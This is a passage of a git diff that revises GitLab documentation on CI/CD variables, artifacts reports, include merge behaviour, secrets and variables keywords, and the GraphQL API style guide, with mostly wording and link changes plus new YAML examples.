stage: deploy +test-job2: + stage: test script: - - echo "$BUILD_VERSION" # Output is empty + - echo "$BUILD_VERSION" # Output is '' dependencies: [] - environment: - name: customer2 - deployment_tier: production -deploy_three: - stage: deploy +test-job3: + stage: test script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' needs: - - build - environment: - name: customer3 - deployment_tier: production + - build-job1 -deploy_four: - stage: deploy +test-job4: + stage: test script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' needs: - job: build + job: build-job1 artifacts: true - environment: - name: customer4 - deployment_tier: production -deploy_five: +test-job5: stage: deploy script: - - echo "$BUILD_VERSION" # Output is empty + - echo "$BUILD_VERSION" # Output is '' needs: - job: build + job: build-job1 artifacts: false - environment: - name: customer5 - deployment_tier: production -``` -[Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) -can also inherit variables from their upstream pipelines. +test-job6: + stage: deploy + script: + - echo "$BUILD_VERSION" # Output is '' + needs: + - build-job2 +``` ### Store multiple values in one variable You cannot create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior. -For example, you can store multiple variables separated by a space in a variable, +For example, you can store multiple values separated by a space in a variable, then loop through the values with a script: ```yaml @@ -552,7 +602,8 @@ job: ### Use the `$` character in CI/CD variables -If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: +If you do not want the `$` character interpreted as the start of another variable, +use `$$` instead: ```yaml job: @@ -568,9 +619,14 @@ job: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7. Expanded variables treat values with the `$` character as a reference to another variable. -CI/CD variables are expanded by default. +CI/CD variables are expanded by default. To treat variables with a `$` character as raw strings, +disable variable expansion for the variable -To treat variables with a `$` character as raw strings, disable variable expansion for the variable: +Prerequisite: + +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). + +To disable variable expansion for the variable: 1. In the project or group, go to **Settings > CI/CD**. 1. Expand the **Variables** section. @@ -586,10 +642,10 @@ which variables take precedence. The order of precedence for variables is (from highest to lowest): -1. These all have the same (highest) precedence: +1. These variables all have the same (highest) precedence: - [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call). - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). - - [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). + - [Manual pipeline run variables](../pipelines/index.md#run-a-pipeline-manually). - Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline). 1. Project [variables](#for-a-project). 1. Group [variables](#for-a-group). If the same variable name exists in a @@ -597,14 +653,13 @@ The order of precedence for variables is (from highest to lowest): you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in `Subgroup 2` takes precedence. 1. Instance [variables](#for-an-instance). -1. [Inherited variables](#pass-an-environment-variable-to-another-job). +1. [Variables from `dotenv` reports](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. 1. [Deployment variables](predefined_variables.md#deployment-variables). 1. [Predefined variables](predefined_variables.md). -In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. -Variables defined in jobs have a higher precedence than variables defined globally. +For example: ```yaml variables: @@ -614,50 +669,40 @@ job1: variables: API_TOKEN: "secure" script: - - echo "The variable value is $API_TOKEN" + - echo "The variable is '$API_TOKEN'" ``` +In this example, `job1` outputs `The variable is 'secure'` because variables defined in jobs +have higher precedence than variables defined globally. + ### Override a defined CI/CD variable You can override the value of a variable when you: -1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI. -1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline). -1. Run a job manually in the UI. -1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). -1. Trigger a pipeline by using [the API](../triggers/index.md#pass-cicd-variables-in-the-api-call). -1. Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline) - or [by using variable inheritance](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job). - -The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence). - -NOTE: -You should avoid overriding [predefined variables](predefined_variables.md), -as it can cause the pipeline to behave unexpectedly. - -### Override a variable when running a pipeline manually +- [Run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually) in the UI. +- Create a pipeline by using [the `pipelines` API endpoint](../../api/pipelines.md#create-a-new-pipeline). +- Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). +- Trigger a pipeline by using [the `triggers` API endpoint](../triggers/index.md#pass-cicd-variables-in-the-api-call). +- Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline) + or [by using `dotenv` variables](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job). -You can override the value of a CI/CD variable when you -[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). - -1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**. -1. Choose the branch you want to run the pipeline for. -1. Input the variable and its value in the UI. +You should avoid overriding [predefined variables](predefined_variables.md), as it +can cause the pipeline to behave unexpectedly. ### Restrict who can override variables > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8. -You can grant permission to override variables to users with the Maintainer role only. When other users try to run a pipeline -with overridden variables, they receive the `Insufficient permissions to set pipeline variables` -error message. +You can limit the ability to override variables to only users with the Maintainer role. +When other users try to run a pipeline with overridden variables, they receive the +`Insufficient permissions to set pipeline variables` error message. + +Enable this feature by using [the projects API](../../api/projects.md#edit-project) +to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file), use this setting for control over the environment the pipeline runs in. -You can enable this feature by using [the projects API](../../api/projects.md#edit-project) -to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. - ## Related topics - You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables @@ -683,13 +728,12 @@ in Bash or `dir env:` in PowerShell. This exposes the values of **all** availabl variables, which can be a [security risk](#cicd-variable-security). [Masked variables](#mask-a-cicd-variable) display as `[masked]`. -For example: +For example, with Bash: ```yaml job_name: script: - export - # - 'dir env:' # Use this for PowerShell ``` Example job log output (truncated): @@ -733,7 +777,7 @@ Before you enable debug logging, make sure only team members can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) with debug output before you make logs public again. -To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: +To enable debug logging, set the `CI_DEBUG_TRACE` variable to `true`: ```yaml job_name: diff --git a/doc/ci/yaml/artifacts_reports.md b/doc/ci/yaml/artifacts_reports.md index 38b0ab1f0a3..151a043da5e 100644 --- a/doc/ci/yaml/artifacts_reports.md +++ b/doc/ci/yaml/artifacts_reports.md @@ -15,9 +15,9 @@ Use [`artifacts:reports`](index.md#artifactsreports) to: - Pipeline views. - [Security dashboards](../../user/application_security/security_dashboard/index.md). -The test reports are collected regardless of the job results (success or failure). -You can use [`artifacts:expire_in`](index.md#artifactsexpire_in) to set up an expiration -date for their artifacts. +Artifacts created for `artifacts: reports` are always uploaded, regardless of the job results (success or failure). +You can use [`artifacts:expire_in`](index.md#artifactsexpire_in) to set an expiration +date for the artifacts. Some `artifacts:reports` types can be generated by multiple jobs in the same pipeline, and used by merge request or pipeline features from each job. @@ -67,19 +67,6 @@ GitLab can display the results of one report in the merge request GitLab cannot display the combined results of multiple `browser_performance` reports. -## `artifacts:reports:cluster_image_scanning` **(ULTIMATE)** - -> - Introduced in GitLab 14.1. -> - Requires GitLab Runner 14.1 and above. - -The `cluster_image_scanning` report collects `CLUSTER_IMAGE_SCANNING` vulnerabilities. The collected -`CLUSTER_IMAGE_SCANNING` report uploads to GitLab as an artifact. - -GitLab can display the results of one or more reports in: - -- The [security dashboard](../../user/application_security/security_dashboard/index.md). -- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md). - ## `artifacts:reports:coverage_report` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/344533) in GitLab 14.10. @@ -266,7 +253,7 @@ Compliance report uploads to GitLab as an artifact. GitLab can display the results of one or more reports in: - The merge request [license compliance widget](../../user/compliance/license_compliance/index.md). -- The [license list](../../user/compliance/license_compliance/index.md#license-list). +- The [license list](../../user/compliance/license_list.md). ## `artifacts:reports:load_performance` **(PREMIUM)** diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index b1f43a4679b..bf0b7444e78 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -157,6 +157,87 @@ and the `environment:url` of the `production` job defined in the `.gitlab-ci.yml override the values defined in the `autodevops-template.yml` file. The other keywords do not change. This method is called *merging*. +### Merge method for `include` + +For a file containing `include` directives, the included files are read in order (possibly +recursively), and the configuration in these files is likewise merged in order. If the parameters overlap, the last included file takes precedence. Finally, the directives in the +file itself are merged with the configuration from the included files. + +This merge method is a _deep merge_, where hash maps are merged at any depth in the +configuration. To merge hash map A (containing the configuration merged so far) and B (the next piece +of configuration), the keys and values are processed as follows: + +- When the key only exists in A, use the key and value from A. +- When the key exists in both A and B, and their values are both hash maps, merge those hash maps. +- When the key exists in both A and B, and one of the values is not a hash map, use the value from B. +- Otherwise, use the key and value from B. + +For example: + +We have a configuration consisting of two files. + +- The `.gitlab-ci.yml` file: + + ```yaml + include: 'common.yml' + + variables: + POSTGRES_USER: username + + test: + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + when: manual + artifacts: + reports: + junit: rspec.xml + ``` + +- The `common.yml` file: + + ```yaml + variables: + POSTGRES_USER: common_username + POSTGRES_PASSWORD: testing_password + + test: + rules: + - when: never + script: + - echo LOGIN=${POSTGRES_USER} > deploy.env + - rake spec + artifacts: + reports: + dotenv: deploy.env + ``` + +The merged result: + +```yaml +variables: + POSTGRES_USER: username + POSTGRES_PASSWORD: testing_password + +test: + rules: + - if: $CI_PIPELINE_SOURCE == "merge_request_event" + when: manual + script: + - echo LOGIN=${POSTGRES_USER} > deploy.env + - rake spec + artifacts: + reports: + junit: rspec.xml + dotenv: deploy.env +``` + +In this example: + +- Variables are only evaluated after all the files are merged together. A job in an included file + might end up using a variable value defined in a different file. +- `rules` is an array so it cannot be merged. The top-level file takes precedence. +- `artifacts` is a hash map so it can be deep merged. + ## Override included configuration arrays You can use merging to extend and override configuration in an included template, but @@ -304,7 +385,7 @@ In GitLab 14.5 and later, you can also use: - [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call). - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). -- [Manual pipeline run variables](../variables/index.md#override-a-variable-when-running-a-pipeline-manually). +- [Manual pipeline run variables](../pipelines/index.md#run-a-pipeline-manually). - Pipeline [predefined variables](../variables/predefined_variables.md). YAML files are parsed before the pipeline is created, so the following pipeline predefined variables diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md index 3796eed54e1..d5c0fe1d41d 100644 --- a/doc/ci/yaml/index.md +++ b/doc/ci/yaml/index.md @@ -374,7 +374,7 @@ start. Jobs in the current stage are not stopped and continue to run. - If a job does not specify a [`stage`](#stage), the job is assigned the `test` stage. - If a stage is defined but no jobs use it, the stage is not visible in the pipeline, - which can help [compliance pipeline configurations](../../user/group/compliance_frameworks.md#configure-a-compliance-pipeline): + which can help [compliance pipeline configurations](../../user/group/compliance_frameworks.md#compliance-pipelines): - Stages can be defined in the compliance configuration but remain hidden if not used. - The defined stages become visible when developers use them in job definitions. @@ -1002,9 +1002,9 @@ rspec: - Combining reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725). - To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This uploads and stores the artifact twice. -- The test reports are collected regardless of the job results (success or failure). - You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration - date for artifacts reports. +- Artifacts created for `artifacts: reports` are always uploaded, regardless of the job results (success or failure). + You can use [`artifacts:expire_in`](#artifactsexpire_in) to set an expiration + date for the artifacts. #### `artifacts:untracked` @@ -1057,6 +1057,11 @@ job: when: on_failure ``` +**Additional details**: + +- The artifacts created for [`artifacts:reports`](#artifactsreports) are always uploaded, + regardless of the job results (success or failure). `artifacts:when` does not change this behavior. + ### `before_script` Use `before_script` to define an array of commands that should run before each job's @@ -1111,8 +1116,15 @@ Caches are: - Shared between pipelines and jobs. - By default, not shared between [protected](../../user/project/protected_branches.md) and unprotected branches. - Restored before [artifacts](#artifacts). +- Limited to a maximum of four [different caches](../caching/index.md#use-multiple-caches). + +You can [disable caching for specific jobs](../caching/index.md#disable-cache-for-specific-jobs), +for example to override: + +- A default cache defined with [`default`](#default). +- The configuration for a job added with [`include`](#include). -Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md). +For more information about caches, see [Caching in GitLab CI/CD](../caching/index.md). #### `cache:paths` @@ -1354,7 +1366,7 @@ cache keys used by protected branches. - `true` or `false` (default). -**Example of `cache:untracked`**: +**Example of `cache:unprotect`**: ```yaml rspec: @@ -1700,7 +1712,7 @@ Use the `action` keyword to specify how the job interacts with the environment. |:----------|:----------------| | `start` | Default value. Indicates that the job starts the environment. The deployment is created after the job starts. | | `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#access-an-environment-for-preparation-or-verification-purposes). | -| `stop` | Indicates that the job stops a deployment. For more detail, read [Stop an environment](../environments/index.md#stop-an-environment). | +| `stop` | Indicates that the job stops an environment. [Read more about stopping an environment](../environments/index.md#stop-an-environment). | | `verify` | Indicates that the job is only verifying the environment. It does not trigger deployments. [Read more about verifying environments](../environments/index.md#access-an-environment-for-preparation-or-verification-purposes). | | `access` | Indicates that the job is only accessing the environment. It does not trigger deployments. [Read more about accessing environments](../environments/index.md#access-an-environment-for-preparation-or-verification-purposes). | @@ -1780,9 +1792,7 @@ environment, using the `production` **Additional details**: - Kubernetes configuration is not supported for Kubernetes clusters - that are [managed by GitLab](../../user/project/clusters/gitlab_managed_clusters.md). - To follow progress on support for GitLab-managed clusters, see the - [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054). + [managed by GitLab](../../user/project/clusters/gitlab_managed_clusters.md). **Related topics**: @@ -3794,6 +3804,43 @@ job: - The `file` keyword is a setting for the CI/CD variable and must be nested under the CI/CD variable name, not in the `vault` section. +#### `secrets:token` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/356986) in GitLab 15.8. + +Use `secrets:token` to explicitly select a token to use when authenticating with Vault by referencing the token's CI/CD variable. + +This keyword has no effect if [**Limit JSON Web Token (JWT) access**](../secrets/id_token_authentication.md#enable-automatic-id-token-authentication) +is disabled. + +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: + +- The name of an ID token + +**Example of `secrets:token`**: + +```yaml +job: + id_tokens: + AWS_TOKEN: + aud: https://aws.example.com + VAULT_TOKEN: + aud: https://vault.example.com + secrets: + DB_PASSWORD: + vault: gitlab/production/db + token: $VAULT_TOKEN +``` + +**Additional details**: + +- When the `token` keyword is not set and **Limit JSON Web Token (JWT) access** enabled, the first ID token + is used to authenticate. +- When **Limit JSON Web Token (JWT) access** is disabled, the `token` keyword is ignored and the `CI_JOB_JWT` + CI/CD variable is used to authenticate. + ### `services` Use `services` to specify any additional Docker images that your scripts require to run successfully. The [`services` image](../services/index.md) is linked @@ -4361,35 +4408,89 @@ deploy_review_job: #### `variables:description` -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/363660) in GitLab 15.5, `variables:value` can contain an array of values. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. -Use the `description` keyword to define a [pipeline-level (global) variable that is prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). - -If used with `value`, the variable value is also prefilled when running a pipeline manually. +Use the `description` keyword to define a description for a pipeline-level (global) variable. +The description displays with [the prefilled variable name when running a pipeline manually](../pipelines/index.md#prefill-variables-in-manual-pipelines). **Keyword type**: Global keyword. You cannot use it for job-level variables. **Possible inputs**: - A string. -- An array of strings. **Example of `variables:description`**: ```yaml variables: + DEPLOY_NOTE: + description: "The deployment note. Explain the reason for this deployment." +``` + +**Additional details**: + +- When used without `value`, the variable exists in pipelines that were not triggered manually, + and the default value is an empty string (`''`). + +#### `variables:value` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. + +Use the `value` keyword to define a pipeline-level (global) variable's value. When used with +[`variables: description`](#variablesdescription), the variable value is [prefilled when running a pipeline manually](../pipelines/index.md#prefill-variables-in-manual-pipelines). + +**Keyword type**: Global keyword. You cannot use it for job-level variables. + +**Possible inputs**: + +- A string. + +**Example of `variables:value`**: + +```yaml +variables: DEPLOY_ENVIRONMENT: - description: "The deployment target. Change this variable to 'canary' or 'production' if needed." value: "staging" + description: "The deployment target. Change this variable to 'canary' or 'production' if needed." ``` **Additional details**: -- A global variable defined with `value` but no `description` behaves the same as - [`variables`](#variables). -- `variables:value` can [contain an array of selectable values](../pipelines/index.md#configure-a-list-of-selectable-values-for-a-prefilled-variable). +- If used without [`variables: description`](#variablesdescription), the behavior is + the same as [`variables`](#variables). + +#### `variables:options` + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105502) in GitLab 15.7. + +Use `variables:options` to define an array of values that are [selectable in the UI when running a pipeline manually](../pipelines/index.md#configure-a-list-of-selectable-prefilled-variable-values). + +Must be used with `variables: value`, and the string defined for `value`: + +- Must also be one of the strings in the `options` array. +- Is the default selection. + +If there is no [`description`](#variablesdescription), +this keyword has no effect. + +**Keyword type**: Global keyword. You cannot use it for job-level variables. + +**Possible inputs**: + +- An array of strings. + +**Example of `variables:options`**: + +```yaml +variables: + DEPLOY_ENVIRONMENT: + value: "staging" + options: + - "production" + - "staging" + - "canary" + description: "The deployment target. Set to 'staging' by default." +``` #### `variables:expand` diff --git a/doc/ci/yaml/workflow.md b/doc/ci/yaml/workflow.md index 3d6314c8e03..82144e55216 100644 --- a/doc/ci/yaml/workflow.md +++ b/doc/ci/yaml/workflow.md @@ -29,7 +29,7 @@ See the [common `if` clauses for `rules`](../jobs/job_control.md#common-if-claus In the following example: - Pipelines run for all `push` events (changes to branches and new tags). -- Pipelines for push events with `-draft` in the commit message don't run, because +- Pipelines for push events with commit messages that end with `-draft` don't run, because they are set to `when: never`. - Pipelines for schedules or merge requests don't run either, because no rules evaluate to true for them. diff --git a/doc/cloud_seed/index.md b/doc/cloud_seed/index.md index 04b560f7f87..1021c7f7700 100644 --- a/doc/cloud_seed/index.md +++ b/doc/cloud_seed/index.md @@ -70,7 +70,7 @@ The generated service account has the following roles: - `roles/cloudsql.client` - `roles/browser` -You can enhance security by storing CI variables in secret managers. Learn more about [secret management with GitLab](../ci/secrets/index.md). +You can enhance security by storing CI variables in secret managers. For more information, see [secret management with GitLab](../ci/secrets/index.md). ### Configure your preferred GCP region diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md index ee14d8e6414..314065ffc10 100644 --- a/doc/development/adding_service_component.md +++ b/doc/development/adding_service_component.md @@ -10,7 +10,7 @@ The GitLab product is made up of several service components that run as independ ## Integration phases -The following outline re-uses the [maturity metric](https://about.gitlab.com/direction/maturity/) naming as an example of the various phases of integrating a component. These are only loosely coupled to a components actual maturity, and are intended as a guide for implementation order (for example, a component does not need to be enabled by default to be Lovable, and being enabled by default does not on its own cause a component to be Lovable). +The following outline re-uses the [maturity metric](https://about.gitlab.com/direction/maturity/) naming as an example of the various phases of integrating a component. These phases are only loosely coupled to a components actual maturity, and are intended as a guide for implementation order. For example, a component does not need to be enabled by default to be Lovable. Being enabled by default does not on its own cause a component to be Lovable. - Proposed - [Proposing a new component](#proposing-a-new-component) @@ -37,7 +37,8 @@ The general steps for getting any GitLab feature from proposal to release can be ## Integrating a new service with GitLab -Adding a new service follows the same [merge request workflow](contributing/merge_request_workflow.md) as other contributions, and must meet the same [completion criteria](contributing/merge_request_workflow.md#definition-of-done) and in addition needs to cover the following: +Adding a new service follows the same [merge request workflow](contributing/merge_request_workflow.md) as other contributions, and must meet the same [completion criteria](contributing/merge_request_workflow.md#definition-of-done). +In addition, it needs to cover the following: - The [architecture component list](architecture.md#component-list) has been updated to include the service. - Features provided by the component have been accepted into the [GitLab Product Direction](https://about.gitlab.com/direction/). @@ -87,10 +88,10 @@ In addition, any system dependencies used in Omnibus packages or the Cloud Nativ ## Release management -If the service component needs to be updated or released with the monthly GitLab release, then the component should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery group](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). +If the service component needs to be updated or released with the monthly GitLab release, then it should be added to the [release tools automation](https://gitlab.com/gitlab-org/release-tools). This project is maintained by the [Delivery group](https://about.gitlab.com/handbook/engineering/infrastructure/team/delivery/). -There are different levels of automation available to include a component in GitLab releases. The requirements and process for including a component in a release at these different levels are detailed in the [release documentation](https://gitlab.com/gitlab-org/release/docs/-/tree/master/components). +Different levels of automation are available to include a component in GitLab monthly releases. The requirements and process for including a component in a release at these different levels are detailed in the [release documentation](https://gitlab.com/gitlab-org/release/docs/-/tree/master/components). A list of the projects with releases managed by release tools can be found in the [release tools project directory](https://gitlab.com/gitlab-org/release-tools/-/tree/master/lib/release_tools/project). -For example, during the monthly GitLab release, the desired version of Gitaly, GitLab Workhorse and GitLab Shell need to be synchronized through the various release pipelines. +For example, the desired version of Gitaly, GitLab Workhorse, and GitLab Shell need to be synchronized through the various release pipelines. diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index 396bba2623e..94abbda9671 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -32,7 +32,7 @@ with anyone who may work in this part of the codebase in the future. You can fin [Google Slides](https://docs.google.com/presentation/d/1qOTxpkTdHIp1CRjuTvO-aXg0_rUtzE3ETfLUdnBB5uQ/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8e78ea7f326b2ef649e7d7d569c26d56/GraphQL_Deep_Dive__Create_.pdf). Everything covered in this deep dive was accurate as of GitLab 11.9, and while specific -details may have changed since then, it should still serve as a good introduction. +details may have changed after that release, it should still serve as a good introduction. ## GraphiQL @@ -210,8 +210,8 @@ The `iid`, `title` and `description` are _scalar_ GraphQL types. `iid` is a `GraphQL::Types::ID`, a special string type that signifies a unique ID. `title` and `description` are regular `GraphQL::Types::String` types. -Note that the old scalar types `GraphQL:ID`, `GraphQL::INT_TYPE`, `GraphQL::STRING_TYPE`, -`GraphQL:BOOLEAN_TYPE`, and `GraphQL::FLOAT_TYPE` are no longer allowed. Please use `GraphQL::Types::ID`, +The old scalar types `GraphQL:ID`, `GraphQL::INT_TYPE`, `GraphQL::STRING_TYPE`, +`GraphQL:BOOLEAN_TYPE`, and `GraphQL::FLOAT_TYPE` are no longer allowed. Use `GraphQL::Types::ID`, `GraphQL::Types::Int`, `GraphQL::Types::String`, `GraphQL::Types::Boolean`, and `GraphQL::Types::Float`. When exposing a model through the GraphQL API, we do so by creating a @@ -250,7 +250,7 @@ the following reasons: - Changing from a non-nullable field to a nullable field is difficult with a versionless schema Non-nullable fields should only be used when a field is required, very unlikely -to become optional in the future, and very easy to calculate. An example would +to become optional in the future, and straightforward to calculate. An example would be `id` fields. A non-nullable GraphQL schema field is an object type followed by the exclamation point (bang) `!`. Here's an example from the `gitlab_schema.graphql` file: @@ -388,12 +388,12 @@ query($project_path: ID!) { ``` To ensure that we get consistent ordering, we append an ordering on the primary -key, in descending order. This is usually `id`, so we add `order(id: :desc)` +key, in descending order. The primary key is usually `id`, so we add `order(id: :desc)` to the end of the relation. A primary key _must_ be available on the underlying table. #### Shortcut fields -Sometimes it can seem easy to implement a "shortcut field", having the resolver return the first of a collection if no parameters are passed. +Sometimes it can seem straightforward to implement a "shortcut field", having the resolver return the first of a collection if no parameters are passed. These "shortcut fields" are discouraged because they create maintenance overhead. They need to be kept in sync with their canonical field, and deprecated or modified if their canonical field changes. Use the functionality the framework provides unless there is a compelling reason to do otherwise. @@ -692,7 +692,7 @@ Global IDs, so as such they are coupled to model names. When we rename a model, its Global ID changes. If the Global ID is used as an _argument_ type anywhere in the schema, then the Global ID -change would normally constitute a breaking change. +change would typically constitute a breaking change. To continue to support clients using the old Global ID argument, we add a deprecation to `Gitlab::GlobalId::Deprecations`. @@ -763,24 +763,24 @@ support for the former argument style, remove the `Deprecation`: DEPRECATIONS = [].freeze ``` -During the deprecation period the API will accept either of these formats for the argument value: +During the deprecation period, the API accepts either of these formats for the argument value: - `"gid://gitlab/PrometheusService/1"` - `"gid://gitlab/Integrations::Prometheus/1"` -The API will also accept these types in the query signature for the argument: +The API also accepts these types in the query signature for the argument: - `PrometheusServiceID` - `IntegrationsPrometheusID` NOTE: -Although queries that use the old type (`PrometheusServiceID` in this example) will be -considered valid and executable by the API, validator tools will consider them to be invalid. -This is because we are deprecating using a bespoke method outside of the +Although queries that use the old type (`PrometheusServiceID` in this example) are +considered valid and executable by the API, validator tools consider them to be invalid. +They are considered invalid because we are deprecating using a bespoke method outside of the [`@deprecated` directive](https://spec.graphql.org/June2018/#sec--deprecated), so validators are not aware of the support. -The documentation will mention that the old Global ID style is now deprecated. +The documentation mentions that the old Global ID style is now deprecated. ## Mark schema items as Alpha @@ -897,7 +897,7 @@ An example of the use of a union for this purpose is Field names can be mapped to hash data keys using the `hash_key:` keyword if needed. -For example, given the following simple JSON data: +For example, given the following JSON data: ```json { @@ -951,13 +951,25 @@ You can view descriptions of fields and arguments in: #### Language and punctuation -Use `{x} of the {y}` where possible, where `{x}` is the item you're describing, -and `{y}` is the resource it applies to. For example: +To describe fields and arguments, use `{x} of the {y}` where possible, +where `{x}` is the item you're describing, and `{y}` is the resource it applies to. For example: ```plaintext ID of the issue. ``` +```plaintext +Author of the epics. +``` + +For arguments that sort or search, start with the appropriate verb. +To indicate the specified values, for conciseness, you can use `this` instead of +`the given` or `the specified`. For example: + +```plaintext +Sort issues by this criteria. +``` + Do not start descriptions with `The` or `A`, for consistency and conciseness. End all descriptions with a period (`.`). @@ -1042,7 +1054,7 @@ the objects in question. To find objects to display in a field, we can add resolvers to `app/graphql/resolvers`. -Arguments can be defined within the resolver in the same way as in a mutation. +Arguments can be defined in the resolver in the same way as in a mutation. See the [Mutation arguments](#object-identifier-arguments) section. To limit the amount of queries performed, we can use [BatchLoader](graphql_guide/batchloader.md). @@ -1086,7 +1098,7 @@ application: - Services in mutations to apply operations. - Loaders (batch-aware finders) specific to queries. -Note that there is never any reason to use batching in a mutation. Mutations are +There is never any reason to use batching in a mutation. Mutations are executed in series, so there are no batching opportunities. All values are evaluated eagerly as soon as they are requested, so batching is unnecessary overhead. If you are writing: @@ -1122,7 +1134,7 @@ the entire field should resolve to `null`. ### Deriving resolvers (`BaseResolver.single` and `BaseResolver.last`) -For some simple use cases, we can derive resolvers from others. +For some use cases, we can derive resolvers from others. The main use case for this is one resolver to find all items, and another to find one specific one. For this, we supply convenience methods: @@ -1167,7 +1179,7 @@ class JobsResolver < BaseResolver end ``` -Here we have a simple resolver for getting pipeline jobs. The `name` argument is +Here we have a resolver for getting pipeline jobs. The `name` argument is optional when getting a list, but required when getting a single job. If there are multiple arguments, and neither can be made required, we can use @@ -1315,7 +1327,7 @@ class MyThingResolver < BaseResolver end ``` -For an example of real world use, please +For an example of real world use, see [`ResolvesMergeRequests`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/resolvers/concerns/resolves_merge_requests.rb). ### Negated arguments @@ -1438,7 +1450,7 @@ It's acceptable to have both fine-grained mutations and coarse-grained mutations that too many fine-grained mutations can lead to organizational challenges in maintainability, code comprehensibility, and testing. Each mutation requires a new class, which can lead to technical debt. -It also means the schema becomes very big, and we want users to easily navigate our schema. +It also means the schema becomes very big, which can make it difficult for users to navigate our schema. As each new mutation also needs tests (including slower request integration tests), adding mutations slows down the test suite. @@ -1718,7 +1730,7 @@ two fields: `errors: [String]`, and `thing: ThingType`. The specific nature of the `thing` itself is irrelevant to these examples, as we are considering the errors. -There are three states a mutation response can be in: +The three states a mutation response can be in are: - [Success](#success) - [Failure (relevant to the user)](#failure-relevant-to-the-user) @@ -1764,11 +1776,11 @@ Examples of this include: - Model validation errors: the user may need to change the inputs. - Permission errors: the user needs to know they cannot do this, they may need to request permission or sign in. -- Problems with application state that prevent the user's action, for example: merge conflicts, the resource was locked, and so on. +- Problems with the application state that prevent the user's action (for example, merge conflicts or a locked resource). Ideally, we should prevent the user from getting this far, but if they do, they need to be told what is wrong, so they understand the reason for the failure and -what they can do to achieve their intent, even if that is as simple as retrying the +what they can do to achieve their intent. For example, they might only need to retry the request. It is possible to return *recoverable* errors alongside mutation data. For example, if @@ -1791,7 +1803,7 @@ In this case there is no `data`: } ``` -This is the result of raising an error during the mutation. In our implementation, +This results from raising an error during the mutation. In our implementation, the messages of argument errors and validation errors are returned to the client, and all other `StandardError` instances are caught, logged and presented to the client with the message set to `"Internal server error"`. See 